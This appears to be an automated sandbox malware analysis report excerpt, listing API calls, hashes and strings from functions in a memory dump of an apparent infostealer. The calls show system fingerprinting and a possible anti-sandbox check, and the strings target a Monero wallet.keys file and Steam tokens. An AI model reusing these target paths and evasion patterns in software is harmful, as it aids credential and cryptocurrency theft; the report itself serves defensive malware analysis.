Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a652cc580a515d4896529f9f0e3e8df410b1b8eed53bfde0bcd8b6b0c47667a3
Instruction ID: b0493a16d22910571cabf36f2d82bc351aff095eb49ae709143c8e1e5e80dc3d
Opcode Fuzzy Hash: a652cc580a515d4896529f9f0e3e8df410b1b8eed53bfde0bcd8b6b0c47667a3
Instruction Fuzzy Hash: 1F817675A102099FCB28EFA4D995FEDBBB5FFD4304F50851DE4099B285DB30AA05CB82

Function 005C78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7910
RtlAllocateHeap.NTDLL(00000000), ref: 005C7917
GetComputerNameA.KERNEL32(?,00000104), ref: 005C792F

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 18df174530c50e79a79dfbe7f5f190cfdc8d1d12fe3f5624a0d0fc3a88cbcd46
Instruction ID: 3d05dcdde38f18ae4f8f876f93626eb809a681fa717316472b9ae0eda8fd5858
Opcode Fuzzy Hash: 18df174530c50e79a79dfbe7f5f190cfdc8d1d12fe3f5624a0d0fc3a88cbcd46
Instruction Fuzzy Hash: F50162B1904208EFCB10DF98DD45FAABBB8F704B61F10821AE545E3680C37859008BA6

Function 005C9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 005C9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005C94A5
CloseHandle.KERNEL32(00000000), ref: 005C94AF

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: e9b3cfec99c307341d1f16dd3a0644522f059c0d56a1e9a7a2076dc845687ad6
Instruction ID: 4497e2d13599d7ea20cfdba0be0bf88cbe86300bc7f379c6c0fcfeabcb8c14f6
Opcode Fuzzy Hash: e9b3cfec99c307341d1f16dd3a0644522f059c0d56a1e9a7a2076dc845687ad6
Instruction Fuzzy Hash: D2F0307490020CFBDB05DFA4DC4AFE977B4FB08700F008458BA0957290D6B46E85CB95

Function 005B1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005B112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 005B1132
ExitProcess.KERNEL32 ref: 005B1143

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b4ddb90e5f1824d24346148fbb8fa0c4ad9d0ed1b4946dadf267ab4e12f4d792
Instruction ID: f57d7f6acc662f86bb43b3d736cc8f003e2f62caf6d8fb7d0b3ae87dce703351
Opcode Fuzzy Hash: b4ddb90e5f1824d24346148fbb8fa0c4ad9d0ed1b4946dadf267ab4e12f4d792
Instruction Fuzzy Hash: 72E04FB0945308BBE7506BA09C0EB587B78AB04B41F504044F608661C0C6B82600DA9D

Function 005C1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005C7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 005C7542
Part of subcall function 005C7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C757F
Part of subcall function 005C7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7603
Part of subcall function 005C7500: RtlAllocateHeap.NTDLL(00000000), ref: 005C760A

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005C7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C76A4
Part of subcall function 005C7690: RtlAllocateHeap.NTDLL(00000000), ref: 005C76AB

Part of subcall function 005C77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,005CDBC0,000000FF,?,005C1C99,00000000,?,00C7EB40,00000000,?), ref: 005C77F2
Part of subcall function 005C77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,005CDBC0,000000FF,?,005C1C99,00000000,?,00C7EB40,00000000,?), ref: 005C77F9

Part of subcall function 005C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005B11B7), ref: 005C7880
Part of subcall function 005C7850: RtlAllocateHeap.NTDLL(00000000), ref: 005C7887
Part of subcall function 005C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005C789F

Part of subcall function 005C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7910
Part of subcall function 005C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005C7917
Part of subcall function 005C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005C792F

Part of subcall function 005C7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,005D0E00,00000000,?), ref: 005C79B0
Part of subcall function 005C7980: RtlAllocateHeap.NTDLL(00000000), ref: 005C79B7
Part of subcall function 005C7980: GetLocalTime.KERNEL32(?,?,?,?,?,005D0E00,00000000,?), ref: 005C79C4
Part of subcall function 005C7980: wsprintfA.USER32 ref: 005C79F3

Part of subcall function 005C7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00C7F250,00000000,?,005D0E10,00000000,?,00000000,00000000), ref: 005C7A63
Part of subcall function 005C7A30: RtlAllocateHeap.NTDLL(00000000), ref: 005C7A6A
Part of subcall function 005C7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00C7F250,00000000,?,005D0E10,00000000,?,00000000,00000000,?), ref: 005C7A7D

Part of subcall function 005C7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00C7F250,00000000,?,005D0E10,00000000,?,00000000,00000000), ref: 005C7B35

Part of subcall function 005C7B90: GetKeyboardLayoutList.USER32(00000000,00000000,005D05AF), ref: 005C7BE1
Part of subcall function 005C7B90: LocalAlloc.KERNEL32(00000040,?), ref: 005C7BF9
Part of subcall function 005C7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 005C7C0D
Part of subcall function 005C7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005C7C62
Part of subcall function 005C7B90: LocalFree.KERNEL32(00000000), ref: 005C7D22

Part of subcall function 005C7D80: GetSystemPowerStatus.KERNEL32(?), ref: 005C7DAD

GetCurrentProcessId.KERNEL32(00000000,?,00C7EBA0,00000000,?,005D0E24,00000000,?,00000000,00000000,?,00C7F0E8,00000000,?,005D0E20,00000000), ref: 005C207E

Part of subcall function 005C9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 005C9484
Part of subcall function 005C9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005C94A5
Part of subcall function 005C9470: CloseHandle.KERNEL32(00000000), ref: 005C94AF

Part of subcall function 005C7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C7E37
Part of subcall function 005C7E00: RtlAllocateHeap.NTDLL(00000000), ref: 005C7E3E
Part of subcall function 005C7E00: RegOpenKeyExA.KERNEL32(80000002,00C6CEB8,00000000,00020119,?), ref: 005C7E5E
Part of subcall function 005C7E00: RegQueryValueExA.KERNEL32(?,00C7ECE0,00000000,00000000,000000FF,000000FF), ref: 005C7E7F
Part of subcall function 005C7E00: RegCloseKey.ADVAPI32(?), ref: 005C7E92

Part of subcall function 005C7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 005C7FC9
Part of subcall function 005C7F60: GetLastError.KERNEL32 ref: 005C7FD8

Part of subcall function 005C7ED0: GetSystemInfo.KERNEL32(005D0E2C), ref: 005C7F00
Part of subcall function 005C7ED0: wsprintfA.USER32 ref: 005C7F16

Part of subcall function 005C8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00C7F130,00000000,?,005D0E2C,00000000,?,00000000), ref: 005C8130
Part of subcall function 005C8100: RtlAllocateHeap.NTDLL(00000000), ref: 005C8137
Part of subcall function 005C8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 005C8158
Part of subcall function 005C8100: __aulldiv.LIBCMT ref: 005C8172
Part of subcall function 005C8100: __aulldiv.LIBCMT ref: 005C8180
Part of subcall function 005C8100: wsprintfA.USER32 ref: 005C81AC

Part of subcall function 005C87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,005D0E28,00000000,?), ref: 005C882F
Part of subcall function 005C87C0: RtlAllocateHeap.NTDLL(00000000), ref: 005C8836
Part of subcall function 005C87C0: wsprintfA.USER32 ref: 005C8850

Part of subcall function 005C8320: RegOpenKeyExA.KERNEL32(00000000,00C7C3C8,00000000,00020019,00000000,005D05B6), ref: 005C83A4

Part of subcall function 005C8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005C8426
Part of subcall function 005C8320: wsprintfA.USER32 ref: 005C8459
Part of subcall function 005C8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005C847B
Part of subcall function 005C8320: RegCloseKey.ADVAPI32(00000000), ref: 005C848C
Part of subcall function 005C8320: RegCloseKey.ADVAPI32(00000000), ref: 005C8499

Part of subcall function 005C8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005D05B7), ref: 005C86CA
Part of subcall function 005C8680: Process32First.KERNEL32(?,00000128), ref: 005C86DE
Part of subcall function 005C8680: Process32Next.KERNEL32(?,00000128), ref: 005C86F3
Part of subcall function 005C8680: CloseHandle.KERNEL32(?), ref: 005C8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 005C265B

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 463c565cef7f5dedfd8c42fdadb956186a1ddd18e483be2263a9b266aa3d0452
Instruction ID: 2b64a1e6b34f79bcc34acfeaa9bb6ed67662b11193325edae7efa709c1849ae8
Opcode Fuzzy Hash: 463c565cef7f5dedfd8c42fdadb956186a1ddd18e483be2263a9b266aa3d0452
Instruction Fuzzy Hash: D6722B7281011DAFDB19EBD0DC9AFEE7B3CBF94304F50829DA11662095EF702B49CA65

Function 005B6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fef9c362e390ad1fe697d428458fdcebedd4fa51bf788bd901722d2129266e82
Instruction ID: 42896525daeb29ca1e6ce7e989b0a9f93fa9dd07ce3aa8078cbdb86b2ee5f566
Opcode Fuzzy Hash: fef9c362e390ad1fe697d428458fdcebedd4fa51bf788bd901722d2129266e82
Instruction Fuzzy Hash: 966118B4D00219EFCB14DF94E988BEEBBB4BB44304F108598E41967284D779AF94DF91

Function 005C5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA820: lstrlen.KERNEL32(005B4F05,?,?,005B4F05,005D0DDE), ref: 005CA82B
Part of subcall function 005CA820: lstrcpy.KERNEL32(005D0DDE,00000000), ref: 005CA885

lstrlen.KERNEL32(00000000,00000000,005D0ACA), ref: 005C512A

Strings

steam_tokens.txt, xrefs: 005C513F

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
